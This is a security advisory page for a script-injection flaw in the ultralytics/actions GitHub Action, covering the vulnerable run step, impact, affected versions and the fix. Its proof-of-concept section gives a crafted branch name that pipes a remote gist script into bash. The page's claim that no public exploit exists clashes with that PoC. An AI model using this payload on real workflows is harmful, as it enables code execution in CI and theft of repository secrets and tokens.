# GHSA-7x29-qqmq-v6qc: GitHub Actions Script Injection in `ultralytics/actions`

> Attackers can execute arbitrary code in workflows using the Ultralytics action with pull_request_target triggers by injecting payloads into branch names.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 14 Aug 2024

## What is GHSA-7x29-qqmq-v6qc?

GHSA-7x29-qqmq-v6qc is a code injection vulnerability in ultralytics/actions, published on 14 Aug 2024. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.

### Official description

### Summary

The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.

### Details

The issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:

```
        echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
        echo "github.ref: ${{ github.ref }}"
        echo "github.head_ref: ${{ github.head_ref }}"
        echo "github.base_ref: ${{ github.base_ref }}"
```

In this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.

### PoC

1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.
2. In the fork create a branch as an injection payload, e.g.: `Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`

3. Create a draft pull request.
4. If the action is reachable, then achieve arbitrary code execution.

![ultra_cve_poc](https://github.com/ultralytics/actions/assets/2006441/b865a54c-38b5-451c-8e93-c497ad6874a2)

See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.

### Impact

Any workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.

### Fix

Sanitize the user-controlled variables using environment vars.

## Which versions are affected by GHSA-7x29-qqmq-v6qc?

1 open source package ship an affected version, including ultralytics/actions.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `ultralytics/actions` | GitHub Actions | All versions | 0.0.3 |

## How do I fix GHSA-7x29-qqmq-v6qc?

Upgrade ultralytics/actions to 0.0.3 or later.

## Is GHSA-7x29-qqmq-v6qc being exploited?

There is no known exploitation of GHSA-7x29-qqmq-v6qc in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-7x29-qqmq-v6qc and fix it if it is affected.

What it is: GHSA-7x29-qqmq-v6qc is a code injection vulnerability in ultralytics/actions, published on 14 Aug 2024. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-7x29-qqmq-v6qc in the wild and no public exploit code.

Affected packages and fixed versions:
- ultralytics/actions (GitHub Actions): affected all versions; fixed in 0.0.3

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-7x29-qqmq-v6qc/ (Markdown: https://insights.sbomify.com/GHSA-7x29-qqmq-v6qc/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-7x29-qqmq-v6qc

---
From sbomify Insights: https://insights.sbomify.com/GHSA-7x29-qqmq-v6qc/
Summaries are generated and may contain mistakes; the official description above is the record.